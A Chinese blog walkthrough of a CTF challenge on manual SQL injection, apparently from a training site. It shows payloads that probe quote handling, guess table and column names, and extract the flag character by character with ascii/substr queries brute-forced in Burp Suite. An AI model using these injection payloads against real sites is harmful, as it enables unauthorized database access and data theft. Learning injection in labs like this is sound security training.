sql注入:手工注入的一般套路

这道题不是考工具使用,我们要练习手工注入…….


题目:简单的sql注入之3

地址:http://www.shiyanbar.com/ctf/1909


没有手工注入的小伙伴们看看了,跟着daoskc的思路一起学习下。


本文的手工的暴力猜解都由BurpSuite完成

首先先作判断:

正常情况下输入?id=1,页面正常输出hello,?id=0页面不输出

输入?id=’页面直接报SQL语法错误

输入?id=1 and 1=2页面正常 ?id=1' and '1'='2 页面无输出

可以看出,这个是字符型SQL注入,未过滤引号和and,条件正确的情况下输出hello,错误无输出,比起SQL盲注,好像又多了语法报错

猜解表

?id=1' and(select count(*) from 表名)>0 %23

表名不存在时,报错

Warning: mysql_fetch_array(): supplied argument isnot a valid MySQL result resource in C:\wamp\www\web\index_3.php online 30
Table 'web10.admin' doesn't exist

可以直接将表名丢Burp里字典猜解

?id=1' and(select count(*) from flag)>0 %23

flag表存在返回hello

猜字段

?id=1'and(select 列名 from flag)>-1 %23

或?id=1'unionselect 列名 from flag %23

字段列名存在输出helo,不存在则报错,

?id=1'and(select flag from flag)>-1 %23,页面输出hello

猜解字符

?id=1'andascii(substr((select flag from flag),2,1))=107%23

直接将字符位置,和ASCII码放Burp Suite里面猜解

位置从0到35(实际26位),ASCII码从30到127

按字符次序整理下,直接在BurpSuite下解码

即可得FLAG

也可以放PANGOLIN下直接跑(从下面输出框也可以看出,是在逐个字符猜解字符)

  

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值